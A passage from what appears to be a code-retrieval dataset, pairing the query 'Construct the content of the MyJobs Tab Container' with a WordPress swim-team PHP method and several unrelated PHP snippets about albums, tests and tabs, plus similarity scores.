"function listAlbums($parameter)\n\t\t{\n\t\t\t//$parameter = substr($parameter, 0,strpos($parameter, 'count'));\n\t\t\t//$parameter = substr($parameter, strrpos($parameter, 'genres 0 '));\n\t\t\t$tabParameter = split(\" id:\", $parameter);\n\t\t\t//print_r($tabParameter);\n\t\t\t$i = 2;\n\t\t\t$len = count($tabParameter);\n\t\t\t//print_r($tabParameter);\n\n\t\t\tforeach ($tabParameter as $key => $value) \n\t\t\t{\n\t\t\t\tif ($key > 0 && $i < $len ) \n\t\t\t\t{\n\t\t\t\t\t//$id = get_string_between($value,\"id:\",\" artwork_track_id\");\n\t\t\t\t\t$id = substr($value, 0,strpos($value, \" \"));\n\t\t\t\t\t$artwork = get_string_between($value,\"artwork_track_id:\",\" title:\");\n\t\t\t\t\t$title = substr($value,strpos($value, \"title:\"));\n\t\t\t\t\t//echo \"contenu de title: $title\";\n\t\t\t\t\t//$title = substr_replace($title, '', strpos($title, ' count:'));\n\t\t\t\t\t//echo \"titre après replace: $title\";\n\t\t\t\t\t//$title = substr_replace($value, '', strpos($value, \"count\"));\n\t\t\t\t\t\n\n\n\t\t\t\t//list($id,$genre)=explode(\" genre:\", $tabParameter[$key]);\n\t\t\t\t\techo \"<li id=\\\"$title$id\\\">$title</li>\";\n\t\t\t\t\techo \"<img id=\\\"$artwork\\\" src=\\\"http://\".$_SESSION['LMS']['server'].\":9000/music/$artwork/cover_96x96_p.png\\\"/>\";\n\t\t\t\t\t$i++;\n\t\t\t\t\t//echo \"i et len : $i $len\";\n\t\t\t\t}\n\n\t\t\t\telseif ($i == $len)\n\t\t\t\t {\n\t\t\t\t\t//$id = get_string_between($value,\"id:\",\" artwork_track_id\");\n\t\t\t\t\t$id = substr($value, 0,strpos($value, \" \"));\n\t\t\t\t\t$artwork = get_string_between($value,\"artwork_track_id:\",\" title:\");\n\t\t\t\t\t$title = substr($value,strpos($value, \"title:\"));\n\t\t\t\t\t\n\t\t\t\t\t//echo \"contenu de title: $title\";\n\n\n\t\t\t\t//list($id,$genre)=explode(\" genre:\", $tabParameter[$key]);\n\t\t\t\t\techo \"<li class=\\\"album\\\" id=\\\"$title|$id\\\">$title</li>\";\n\t\t\t\t\techo \"<img class=\\\"album\\\" id=\\\"$artwork\\\" src=\\\"http://\".$_SESSION['LMS']['server'].\":9000/music/$artwork/cover_96x96_p.png\\\"/>\";\n\t\t\t\t\t$i++;\n\t\t\t\t }\n\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\n\t\t}",
"public function albumsAction($collectionId, Request $request, Application $app)\n {\n \t$albums = $app['repository.database']->getAlbumsByCollection($collectionId);\n\n // Get collection details\n $collection = $app['repository.database']->getCollection($collectionId);\n\n // Get itinaries details\n $itineraries = $app['repository.itinerary']->getItineraries($collectionId);\n\n\t\treturn $app['twig']->render('albums.html', array(\n 'albums' => $albums, \n 'collection' => $collection,\n 'itineraries' => $itineraries,\n ));\n }",
"public function getAlbums($feuser_uid) {\r\n\t\t$res = tx_cwtcommunity_lib_common::dbQuery('SELECT * FROM tx_cwtcommunity_albums WHERE cruser_id = \"'.intval($feuser_uid).'\" AND NOT deleted = \"1\" AND NOT hidden = 1;');\r\n\t\treturn $res;\r\n\t}",
"public function testFindAll() : void\n {\n /** @var EntityManager $em */\n $em = $this->getApplicationServiceLocator()->get(EntityManager::class);\n $postRepository = $em->getRepository(Post::class);\n static::assertNotEmpty($postRepository->findAll());\n }",
"function album_gallery_get_page_content_album($GUID_USER, $GUID)\n{\n\n if(!$GUID)\n {\n $immagine = elgg_view('elgg-album-gallery/error', array('error' => elgg_echo('gallery:no:imageshow')));\n $titolo = elgg_echo('gallery:title:error',array(elgg_echo('gallery:no:imageshow')));\n }\n else\n {\n //Take entities from in_album relationship\n $entita = elgg_get_entities_from_relationship(array(\n 'relationship' => 'in_album',\n 'owner_guid' => $GUID_USER,\n 'relationship_guid' => $GUID,\n 'inverse_relationship' => true,\n 'limit' => 0\n ));\n\n foreach ($entita as $key)\n $immagine .= elgg_view('elgg-album-gallery/album',array(\n 'title' => $key->title,\n 'icon' => $key->getIconURL('medium'),\n 'img_guid' => $key->guid,\n 'album_guid' => $GUID,\n 'guid_user' => $GUID_USER,\n 'action' => \"Delete Album\",\n 'loop' => true\n ));\n if($GUID_USER == elgg_get_logged_in_user_guid())\n {\n //To show delete action\n $immagine .= elgg_view('elgg-album-gallery/album',array(\n 'album_guid' => $GUID,\n 'guid_user' => $GUID_USER,\n 'action' => \"Delete Album\",\n 'loop' => false\n ));\n }\n }\n\n $return = array(\n 'title' => elgg_echo('gallery:title:showall'),\n 'content' => $immagine);\n return $return;\n}",
"function getAlbums($dom) {\n $albumURLs = array();\n $albumNames = array();\n $albums = $dom->find('ul.album_list',0);\n foreach($albums->find('li a') as $data){\n #print $data->href. \"\\n\";\n $albumURLs[] = $data->href;\n $albumNames[] = $data->plaintext;\n }\n return array(\"urls\"=>$albumURLs, \"names\"=>$albumNames);\n}",
"function getAlbums($dom) {\n $albumURLs = array();\n $albumNames = array();\n $albums = $dom->find('ul.album_list',0);\n foreach($albums->find('li a') as $data){\n #print $data->href. \"\\n\";\n $albumURLs[] = $data->href;\n $albumNames[] = $data->plaintext;\n }\n return array(\"urls\"=>$albumURLs, \"names\"=>$albumNames);\n}",
"protected function preparePublicAlbumAndHiddenAlbum(): void\n\t{\n\t\t$this->albumID1 = $this->albums_tests->add(null, TestConstants::ALBUM_TITLE_1)->offsetGet('id');\n\t\t$this->albumID2 = $this->albums_tests->add(null, TestConstants::ALBUM_TITLE_2)->offsetGet('id');\n\t\t$this->photoID1 = $this->photos_tests->upload(static::createUploadedFile(TestConstants::SAMPLE_FILE_MONGOLIA_IMAGE), $this->albumID1)->offsetGet('id');\n\t\t$this->photoID2 = $this->photos_tests->upload(static::createUploadedFile(TestConstants::SAMPLE_FILE_TRAIN_IMAGE), $this->albumID2)->offsetGet('id');\n\t\t$this->albums_tests->set_protection_policy(id: $this->albumID1);\n\t\t$this->albums_tests->set_protection_policy(id: $this->albumID2, is_link_required: true);\n\t\t$this->photos_tests->set_star([$this->photoID2], true);\n\t\tAuth::logout();\n\t\tSession::flush();\n\t\t$this->clearCachedSmartAlbums();\n\t\t$this->performPostPreparatorySteps();\n\t}",
"public function testShouldReturnAllGames()\n {\n $response = $this->call('GET', '/games/all');\n\n $this->assertTrue(500, $response->status());\n }",
"public function testGetAll() {\n return $this->assertIdentical($this->dao->getAll(), 'The Result');\n }",
"public function index(Request $request)\n {\n $user = JWTAuth::parseToken()->authenticate();\n\n if (Gate::forUser($user)->allows('albums', $user)) {\n //if is an admin and \"others\" param present, return all albums\n if($user->admin && $request->others){\n $records = $this->albumRepository->latests($request->page,$request->published,$request->search);\n $total = $this->albumRepository->latestsCount($request->search,$request->published);\n }else{\n $records = $this->albumRepository->latestsByUser($user,$request->published);\n $total = $user->albums()->count();\n }\n\n $albums = [];\n foreach($records as $record){\n $album = $this->prepareAlbumData($record,[]);\n array_push($albums,$album);\n }\n\n return response()->json([\n 'success' => true,\n 'meta' => [\n 'total' => $total,\n ],\n 'albums' => $albums\n ]);\n }else{\n return response()->json([\n 'success' => false,\n 'errors' => ['Not authorized to read albums'],\n ],403);\n }\n }",
"public function testGetUserPhotosSuccess()\n {\n $user = factory(\\App\\User::class)->make();\n\n $user->photos()->createMany(\n factory(\\App\\Photo::class, 3)->make()->toArray()\n );\n\n $response = $this->get('/photos');\n\n $response->assertStatus(200);\n }",
"function albums_get_images($album) {\n\t$files = read_dir_contents(ALBUMS_DIR.'/'.$album, 'files');\n\tif (!$files)\n\t\treturn FALSE;\n\n\telseif ($files) {\n\t\tnatcasesort($files);\n\t\tforeach ($files as $file) {\n\t\t\t$parts = explode('.', $file);\n\t\t\tif (count($parts) == 4) {\n\t\t\t\tlist($number, $fdirname, $ext, $php) = $parts;\n\t\t\t\tinclude_once (ALBUMS_DIR.'/'.$album.'/'.$file);\n\t\t\t\t$images[] = array(\n\t\t\t\t\t'title' => $name,\n\t\t\t\t\t'info' => $info,\n\t\t\t\t\t'seoname' => $fdirname,\n\t\t\t\t\t'filename' => $file,\n\t\t\t\t\t'filename_image' => $fdirname.'.'.$ext\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tunset($file);\n\n\t\treturn $images;\n\t}\n}",
"public function testGetArchiveList()\n {\n $href = '/fotoweb/me/archives/';\n\n $response = $this->client->getArchives(['href' => $href]);\n $this->assertInstanceOf(ResultInterface::class, $response,\n 'The response is not a proper Guzzle result.');\n $this->assertGreaterThan(0, $response->offsetGet('data'),\n 'The asset response should include a data property.');\n $this->assertArrayHasKey('paging', $response->getData(),\n 'The asset response should include a paging property.');\n }",
"public function test_resultsAreValidFormat() {\n $types = ['track'];\n\n foreach ($types as $tk => $type) {\n $searchInstance = new SpotifySearch('a', $type, SingletonTokenContainer::get());\n $results = $searchInstance->getNextPage()->get();\n\n foreach ($results as $ik => $item) {\n $this->assertNotEmpty($item->href);\n $this->assertNotEmpty($item->name);\n if ($type != 'track') {\n $this->assertNotEmpty($item->images);\n } else {\n $this->assertNotEmpty($item->album);\n }\n }\n }\n\n }",
"public function testLoaderAll()\n {\n $allItems = $this->tiresLoader->all();\n\n $this->assertContains(1,$allItems);\n $this->assertContains(2,$allItems);\n $this->assertContains(3,$allItems);\n $this->assertContains(4,$allItems);\n }",
"public function testList()\n {\n \t$games_factory = factory(Game::class, 3)->create();\n \t$games = Game::all();\n \t\n $this->assertCount(3, $games);\n }",
"public function testGetAllAuthors() {\n $this->get('/api/authors')\n ->seeJson(['id' => 2,]);\n }",
"public function getPhotos($album_id)\n {\n $client = new Client();\n\n // get JSON from the webservice and convert it into an assoc. array\n return json_decode($client->get(\"http://jsonplaceholder.typicode.com/album/${album_id}/photos\")->getBody(), true);\n\n }",
"public function gather_folder($limit = 5) {\n\n\t\t$media = new Album($this->uid);\n\t\t$songs = $media->get_songs();\n\t\t$results = array();\n\t\t$preferred = false;\n\t\t// For storing which directories we've already done\n\t\t$processed = array();\n\n\t\t/* See if we are looking for a specific filename */\n\t\t$preferred_filename = Config::get('album_art_preferred_filename');\n\n\t\t// Array of valid extensions\n\t\t$image_extensions = array(\n\t\t\t'bmp',\n\t\t\t'gif',\n\t\t\t'jp2',\n\t\t\t'jpeg',\n\t\t\t'jpg',\n\t\t\t'png'\n\t\t);\n\n\t\tforeach ($songs as $song_id) {\n\t\t\t$data = array();\n\t\t\t$song = new Song($song_id);\n\t\t\t$dir = dirname($song->file);\n\n\t\t\tif (isset($processed[$dir])) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tdebug_event('folder_art', \"Opening $dir and checking for Album Art\", 3);\n\n\t\t\t/* Open up the directory */\n\t\t\t$handle = opendir($dir);\n\n\t\t\tif (!$handle) {\n\t\t\t\tError::add('general', T_('Error: Unable to open') . ' ' . $dir);\n\t\t\t\tdebug_event('folder_art', \"Error: Unable to open $dir for album art read\", 2);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$processed[$dir] = true;\n\n\t\t\t// Recurse through this dir and create the files array\n\t\t\twhile ($file = readdir($handle)) {\n\t\t\t\t$extension = pathinfo($file);\n\t\t\t\t$extension = $extension['extension'];\n\n\t\t\t\t// Make sure it looks like an image file\n\t\t\t\tif (!in_array($extension, $image_extensions)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$full_filename = $dir . '/' . $file;\n\n\t\t\t\t// Make sure it's got something in it\n\t\t\t\tif (!filesize($full_filename)) {\n\t\t\t\t\tdebug_event('folder_art', \"Empty file, rejecting $file\", 5);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Regularise for mime type\n\t\t\t\tif ($extension == 'jpg') {\n\t\t\t\t\t$extension = 'jpeg';\n\t\t\t\t}\n\n\t\t\t\t// Take an md5sum so we don't show duplicate\n\t\t\t\t// files.\n\t\t\t\t$index = md5($full_filename);\n\n\t\t\t\tif ($file == $preferred_filename) {\n\t\t\t\t\t// We found the preferred filename and\n\t\t\t\t\t// so we're done.\n\t\t\t\t\tdebug_event('folder_art', \"Found preferred image file: $file\", 5);\n\t\t\t\t\t$preferred[$index] = array(\n\t\t\t\t\t\t'file' => $full_filename,\n\t\t\t\t\t\t'mime' => 'image/' . $extension\n\t\t\t\t\t);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tdebug_event('folder_art', \"Found image file: $file\", 5);\n\t\t\t\t$results[$index] = array(\n\t\t\t\t\t'file' => $full_filename,\n\t\t\t\t\t'mime' => 'image/' . $extension\n\t\t\t\t);\n\n\t\t\t} // end while reading dir\n\t\t\tclosedir($handle);\n\n\t\t} // end foreach songs\n\n\t\tif (is_array($preferred)) {\n\t\t\t// We found our favourite filename somewhere, so we need\n\t\t\t// to dump the other, less sexy ones.\n\t\t\t$results = $preferred;\n\t\t}\n\n\t\tdebug_event('folder_art', 'Results: ' . json_encode($results), 5);\n\t\tif ($limit && count($results) > $limit) {\n\t\t\t$results = array_slice($results, 0, $limit);\n\t\t}\n\n\t\treturn array_values($results);\n\n\t}",
"public function testBasicTest()\n {\n //$this->assertTrue(true);\n\n // Given I have two records in the database that are posts.\n\n // and each one is posted a month apart\n\n $first = factory(Article::class)->create();\n\n $second = factory(Article::class)->create([\n\n 'created_at' => \\Carbon\\Carbon::now()->subMonth(),\n ]);\n\n //when I fetch the archives\n $posts = Article::archives();\n\n //then the response should be the proper format.\n\n $this->assertCount(2, $posts);\n\n }"
]
| [
"0.8215138",
"0.71964335",
"0.71896136",
"0.718029",
"0.7131615",
"0.69774485",
"0.6926548",
"0.6881394",
"0.68349713",
"0.6700103",
"0.6645254",
"0.66048896",
"0.6491147",
"0.64903736",
"0.64357173",
"0.64257026",
"0.6390221",
"0.6379052",
"0.63738424",
"0.63686156",
"0.63390857",
"0.6324818",
"0.6303906",
"0.62948793",
"0.62736934",
"0.6249781",
"0.62480366",
"0.62438107",
"0.62219393",
"0.6213162",
"0.62125266",
"0.61999744",
"0.6181568",
"0.6149444",
"0.61227983",
"0.61186916",
"0.6116857",
"0.6087969",
"0.6087231",
"0.60658765",
"0.6044823",
"0.6038506",
"0.60365015",
"0.6032097",
"0.6006781",
"0.600204",
"0.60009706",
"0.5986795",
"0.5985568",
"0.5955678",
"0.5933834",
"0.59304184",
"0.59053355",
"0.5905305",
"0.58943343",
"0.5881894",
"0.58746636",
"0.5867849",
"0.58602446",
"0.585877",
"0.58469677",
"0.58468205",
"0.5839402",
"0.5829522",
"0.58242404",
"0.5818723",
"0.58123446",
"0.57918316",
"0.5791822",
"0.57906854",
"0.5784733",
"0.5766919",
"0.5765551",
"0.57468843",
"0.57352954",
"0.57325387",
"0.57284296",
"0.5728362",
"0.5724169",
"0.57216245",
"0.5720098",
"0.5714026",
"0.57001126",
"0.569097",
"0.5690367",
"0.5690367",
"0.568398",
"0.5681676",
"0.56809413",
"0.5664311",
"0.5659765",
"0.56572014",
"0.5656988",
"0.56492174",
"0.5646979",
"0.56469434",
"0.56456363",
"0.5645065",
"0.5643131",
"0.563717"
]
| 0.6999202 | 5 |
Construct the content of the MyJobs Tab Container | function MyJobsTabContainer()
{
global $current_user ;
// The container content is either a GUIDataList of
// the jobs which have been defined OR form processor
// content to add, delete, or update jobs. Wbich type
// of content the container holds is dependent on how
// the page was reached.
$div = html_div() ;
$div->add(html_br(), html_h3('My Swim Team Jobs')) ;
get_currentuserinfo() ;
$season = new SwimTeamSeason() ;
$active = $season->getActiveSeasonId() ;
$seasonlabel = SwimTeamTextMap::__MapSeasonIdToText($active) ;
$jobs = array() ;
$jobs[$active] = new SwimTeamUserJobsInfoTable('My Jobs - ' . $seasonlabel['label'], '100%') ;
$myjobs = &$jobs[$active] ;
$myjobs->setSeasonId($active) ;
$myjobs->setUserId($current_user->ID) ;
$myjobs->constructSwimTeamUserJobsInfoTable() ;
// Report credits versus team requirements
$required = get_option(WPST_OPTION_JOB_CREDITS_REQUIRED) ;
if ($required === false) $required = 0 ;
$div->add($myjobs) ;
// Summarize credits versus requirements
$div->add(html_h5(sprintf('%s credits assigned / %s credits required.',
$myjobs->getCredits(), $required))) ;
if ($myjobs->getCredits() < $required)
{
$notice = html_div('error fade',
html_h4(sprintf('Notice: You have not met your team Jobs requirement of %s credits.', $required))) ;
$div->add($notice) ;
}
// Summarize prior seasons if they exist
$seasonIds = $season->getAllSeasonIds() ;
$div->add(html_h3('Prior Season Jobs')) ;
foreach ($seasonIds as $seasonId)
{
if ((int)$seasonId['seasonid'] != (int)$active)
{
$seasonlabel = SwimTeamTextMap::__MapSeasonIdToText($seasonId['seasonid']) ;
$jobs[$seasonId['seasonid']] =
new SwimTeamUserJobsInfoTable('My Jobs - ' . $seasonlabel['label'], '100%') ;
$myjobs = &$jobs[$seasonId['seasonid']] ;
$myjobs->setUserId($current_user->ID) ;
$myjobs->setSeasonId($seasonId['seasonid']) ;
$myjobs->constructSwimTeamUserJobsInfoTable() ;
$div->add($myjobs, html_br()) ;
}
}
$this->add($div) ;
$this->setShowInstructions() ;
$this->setInstructionsHeader($this->__ch_instructions_header) ;
$this->add($this->buildContextualHelp()) ;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function SwimTeamJobsTabContainer()\n {\n // The container content is either a GUIDataList of \n // the jobs which have been defined OR form processor\n // content to add, delete, or update jobs. Wbich type\n // of content the container holds is dependent on how\n // the page was reached.\n \n $div = html_div() ;\n $div->set_style('clear: both;') ;\n $div->add(html_h3('Swim Team Jobs')) ;\n\n // This allows passing arguments eithers as a GET or a POST\n\n $scriptargs = array_merge($_GET, $_POST) ;\n\n // The jobid is the argument which must be\n // dealt with differently for GET and POST operations\n\n if (array_key_exists(WPST_DB_PREFIX . 'radio', $scriptargs))\n $jobid = $scriptargs[WPST_DB_PREFIX . 'radio'][0] ;\n else if (array_key_exists('_jobid', $scriptargs))\n $jobid = $scriptargs['_jobid'] ;\n else if (array_key_exists('jobid', $scriptargs))\n $jobid = $scriptargs['jobid'] ;\n else\n $jobid = null ;\n\n // So, how did we get here? If $_POST is empty\n // then it wasn't via a form submission.\n\n // Show the list of swim clubs or process an action.\n // If there is no $_POST or if there isn't an action\n // specififed, then simply display the GDL.\n\n if (array_key_exists('_action', $scriptargs))\n $action = $scriptargs['_action'] ;\n else if (array_key_exists('_form_action', $scriptargs))\n $action = $scriptargs['_form_action'] ;\n else\n $action = null ;\n\n // If one of the GDL controls was selected, then\n // the action maybe confusing the processor. Flush\n // any action that doesn't make sense.\n\n if ($action == WPST_ACTION_SELECT_ACTION) $action = null ;\n $actions_allowed_without_jobid = array(\n WPST_ACTION_ADD\n ) ;\n\n if (empty($scriptargs) || is_null($action))\n {\n $div->add($this->__buildGDL()) ;\n $this->setShowActionSummary() ;\n $this->setActionSummaryHeader('Jobs Action Summary') ;\n }\n else if (is_null($jobid) && !in_array($action, $actions_allowed_without_jobid))\n {\n $div->add(html_div('error fade',\n html_h4('You must select a job in order to perform this action.'))) ;\n $div->add($this->__buildGDL()) ;\n $this->setShowActionSummary() ;\n $this->setActionSummaryHeader('Jobs Action Summary') ;\n }\n else // Crank up the form processing process\n {\n switch ($action)\n {\n case WPST_ACTION_PROFILE:\n $c = container() ;\n $profile = new SwimTeamJobProfileInfoTable('Swim Team Job Profile', '500px') ;\n $profile->setJobId($jobid) ;\n $profile->constructSwimTeamJobProfile() ;\n $c->add($profile) ;\n\n break ;\n\n case WPST_ACTION_ADD:\n $form = new WpSwimTeamJobAddForm('Add Swim Team Job',\n $_SERVER['HTTP_REFERER'], 600) ;\n $this->setShowFormInstructions() ;\n $this->setFormInstructionsHeader('Add Job Instructions') ;\n $this->setFormInstructionsContent($form->get_form_help()) ;\n break ;\n\n case WPST_ACTION_UPDATE:\n $form = new WpSwimTeamJobUpdateForm('Update Swim Team Job',\n $_SERVER['HTTP_REFERER'], 600) ;\n $form->setJobId($jobid) ;\n $this->setShowFormInstructions() ;\n $this->setFormInstructionsHeader('Update Job Instructions') ;\n $this->setFormInstructionsContent($form->get_form_help()) ;\n break ;\n\n case WPST_ACTION_DELETE:\n $form = new WpSwimTeamJobDeleteForm('Delete Swim Team Job',\n $_SERVER['HTTP_REFERER'], 600) ;\n $form->setJobId($jobid) ;\n $this->setShowFormInstructions() ;\n $this->setFormInstructionsHeader('Delete Job Instructions') ;\n $this->setFormInstructionsContent($form->get_form_help()) ;\n break ;\n\n case WPST_ACTION_ALLOCATE:\n $form = new WpSwimTeamJobsAllocateForm('Allocate Swim Team Jobs',\n $_SERVER['HTTP_REFERER'], 600) ;\n $form->setJobId($jobid) ;\n $this->setShowFormInstructions() ;\n $this->setFormInstructionsHeader('Allocate Job Instructions') ;\n $this->setFormInstructionsContent($form->get_form_help()) ;\n break ;\n\n case WPST_ACTION_REALLOCATE:\n $form = new WpSwimTeamJobsReallocateForm('Reallocate Swim Team Jobs',\n $_SERVER['HTTP_REFERER'], 600) ;\n $form->setJobId($jobid) ;\n $this->setShowFormInstructions() ;\n $this->setFormInstructionsHeader('Reallocate Job Instructions') ;\n $this->setFormInstructionsContent($form->get_form_help()) ;\n break ;\n\n case WPST_ACTION_DEALLOCATE:\n $form = new WpSwimTeamJobsDeallocateForm('Deallocate Swim Team Jobs',\n $_SERVER['HTTP_REFERER'], 600) ;\n $form->setJobId($jobid) ;\n $this->setShowFormInstructions() ;\n $this->setFormInstructionsHeader('Deallocate Job Instructions') ;\n $this->setFormInstructionsContent($form->get_form_help()) ;\n break ;\n\n case WPST_ACTION_DELETE:\n $form = new WpSwimTeamJobDeleteForm('Delete Swim Team Job',\n $_SERVER['HTTP_REFERER'], 600) ;\n $form->setJobId($jobid) ;\n $this->setShowFormInstructions() ;\n $this->setFormInstructionsHeader('Delete Job Instructions') ;\n $this->setFormInstructionsContent($form->get_form_help()) ;\n break ;\n\n case WPST_ACTION_SIGN_UP:\n $form = new WpSwimTeamJobAssignForm('Job Sign Up',\n $_SERVER['HTTP_REFERER'], 600) ;\n $form->setJobId($jobid) ;\n $this->setShowFormInstructions() ;\n $this->setFormInstructionsHeader('Sign Up Job Instructions') ;\n $this->setFormInstructionsContent($form->get_form_help()) ;\n break ;\n\n default:\n $div->add(html_h4(sprintf('Unsupported action \"%s\" requested.', $action))) ;\n break ;\n }\n\n // Not all actions are form based ...\n\n if (isset($form))\n {\n // Create the form processor\n\n $fp = new FormProcessor($form) ;\n $fp->set_form_action(SwimTeamUtils::GetPageURI()) ;\n\n // Display the form again even if processing was successful.\n\n $fp->set_render_form_after_success(false) ;\n\n // If the Form Processor was succesful, display\n // some statistics about the action that was performed.\n\n if ($fp->is_action_successful())\n {\n // Need to show a different GDL based on whether or\n // not the end user has a level of Admin ability.\n\n $gdl = $this->__buildGDL() ;\n\n $div->add($gdl, html_br(2)) ;\n\n\t $div->add(html_br(2), $form->form_success()) ;\n\n $this->setShowActionSummary() ;\n $this->setActionSummaryHeader('Jobs Action Summary') ;\n }\n else\n {\n\t $div->add(html_br(), $fp) ;\n }\n }\n else if (isset($c))\n {\n $div->add(html_br(2), $c) ;\n $div->add(SwimTeamGUIButtons::getButton('Return to Jobs')) ;\n }\n else\n {\n $div->add(html_br(2), html_h4('No content to display.')) ;\n }\n }\n\n $this->add($div) ;\n $this->add($this->buildContextualHelp()) ;\n }",
"protected function createTabs() {}",
"public function tab_containers()\n\t{\n\t\t$html = '';\n\t\t$tabs = $this->tabs;\n\n\t\tforeach($tabs as $tab)\n\t\t{\n\t\t\tif(isset($tab['render']))\n\t\t\t{\n\t\t\t\t$tpl = $tab['render']();\n\t\t\t\tif(is_object($tpl))\n\t\t\t\t{\n\t\t\t\t\t$renderer = Kostache_Layout::factory();\n\t\t\t\t\t$renderer->set_layout('admin/user/tab');\n\t\t\t\t\t$tpl->id = $tab['id'];\n\n\t\t\t\t\tif(!isset($tpl->title))\n\t\t\t\t\t{\n\t\t\t\t\t\t$tpl->title = $tab['title'];\n\t\t\t\t\t}\n\n\t\t\t\t\t$html .= $renderer->render($tpl);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$html .= $tpl;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $html;\n\t}",
"function register_zijcareebuilderjobswidget() {\n register_widget( 'ZijCareerBuilderJobs' );\n}",
"function buildTabs()\r\n {\r\n $this->_formBuilt = true;\r\n\r\n // Here we get all page names in the controller\r\n $pages = array();\r\n $myName = $current = $this->getAttribute('id');\r\n while (null !== ($current = $this->controller->getPrevName($current))) {\r\n $pages[] = $current;\r\n }\r\n $pages = array_reverse($pages);\r\n $pages[] = $current = $myName;\r\n while (null !== ($current = $this->controller->getNextName($current))) {\r\n $pages[] = $current;\r\n }\r\n // Here we display buttons for all pages, the current one's is disabled\r\n foreach ($pages as $pageName) {\r\n $disabled = ($pageName == $myName ? array('disabled' => 'disabled')\r\n : array());\r\n\r\n $tabs[] = $this->createElement('submit',\r\n $this->getButtonName($pageName),\r\n ucfirst($pageName),\r\n array('class' => 'flat') + $disabled);\r\n }\r\n $this->addGroup($tabs, 'tabs', null, ' ', false);\r\n }",
"function ch_widget_tabcontent($args, $number = 1) {\n\textract($args);\n\t$options = get_option('widget_tabcontent');\n\t\n\tinclude(TEMPLATEPATH . '/tabcontent.php');\n\t\n}",
"private function metabox_style_tabs() {\n $help_sidebar = $this->get_sidebar();\n\n $help_class = '';\n if ( ! $help_sidebar ) :\n $help_class .= ' no-sidebar';\n endif;\n\n // Time to render!\n ?>\n\n <div class=\"tabbed\">\n <div class=\"tabbed-sections\">\n <ul class=\"tr-tabs alignleft\">\n <?php\n $class = ' class=\"active\"';\n $tabs = $this->get_tabs();\n foreach ( $tabs as $tab ) :\n $link_id = \"tab-link-{$tab['id']}\";\n $panel_id = (!empty($tab['url'])) ? $tab['url'] : \"#tab-panel-{$tab['id']}\";\n ?>\n <li id=\"<?php echo esc_attr( $link_id ); ?>\"<?php echo $class; ?>>\n <a href=\"<?php echo esc_url( \"$panel_id\" ); ?>\">\n <?php echo esc_html( $tab['title'] ); ?>\n </a>\n </li>\n <?php\n $class = '';\n endforeach;\n ?>\n </ul>\n </div>\n\n <?php if ( $help_sidebar ) : ?>\n <div class=\"tabbed-sidebar\">\n <?php echo $help_sidebar; ?>\n </div>\n <?php endif; ?>\n\n <div class=\"tr-sections clearfix\">\n <?php\n $classes = 'tab-section active';\n foreach ( $tabs as $tab ):\n $panel_id = \"tab-panel-{$tab['id']}\";\n ?>\n\n <div id=\"<?php echo esc_attr( $panel_id ); ?>\" class=\"<?php echo $classes; ?>\">\n <?php\n // Print tab content.\n echo $tab['content'];\n\n // If it exists, fire tab callback.\n if ( ! empty( $tab['callback'] ) )\n call_user_func_array( $tab['callback'], array( $this, $tab ) );\n ?>\n </div>\n <?php\n $classes = 'tab-section';\n endforeach;\n ?>\n </div>\n </div>\n <?php\n }",
"public function create_tabs_script(){\n\t\treturn $this->style.'\n<script>\n\tjQuery(function () {\n\t\tjQuery(\".nav-tab-wrapper a\").click(function (e) {\n\t\t\te.preventDefault();\n\t\t\tvar tab_class = jQuery(this).data(\"tab\"); \n\t\t\tvar target = jQuery(this).data(\"target\");\n\t\t\tvar title = jQuery(this).text();\n\n\t\t\tjQuery(\".tabs-title\").fadeOut(function(){\n\t \tjQuery(\".tabs-title\").text(title).fadeIn();\n\t })\n\n\t\t\tjQuery(this).parent().find(\".nav-tab\").removeClass(\"nav-tab-active\");\n\t\t\tjQuery(this).addClass(\"nav-tab-active\");\n\t\t\n\t\t\tjQuery(\".tab\").not(\".\"+tab_class).parentsUntil(\".cmb-repeat-group-wrap\").fadeOut(600);\n\t\t\tjQuery(\".\"+tab_class).parentsUntil(\".cmb-repeat-group-wrap\").fadeIn(1000);\n\n\t\t});\n\t\tjQuery(\".hide-clone\").parentsUntil(\".cmb-row\").fadeOut();\n\t\tjQuery(\".hide-remove\").parentsUntil(\".cmb-remove-field-row\").fadeOut();\n\t});\n</script>\n<style>\n\t.page, .component{\n\t\tbackground:#6bb1a3;\n\t\tborder-radius: 10px 10px 0px 0px;\n\t\tborder:solid 2px gray;\n\t\tcolor:white;\n\n\t}\n\t.page:hover, .component:hover{\n\t\tbackground:#4b9183;\n\t\tcolor:black;\n\n\t}\n\t.component{\n\t\tbackground:#8bd1c3;\n\t}\n</style>';\n\t}",
"function elodin_do_jobs_sidebar_genesis() {\n\tdynamic_sidebar( 'jobs' );\n}",
"function bd_custom_tabs_Widget(){\n\n\t\t// Widget settings\n\t\t$ops = array('classname' => 'widget_custom_tabs', 'description' => __('3 tabs: last posts, popular posts, and last comments', 'wolf'));\n\n\t\t/* Create the widget. */\n\t\tparent::__construct( 'widget_custom_tabs', __('Custom tabs', 'wolf'), $ops );\n\t\t\n\t}",
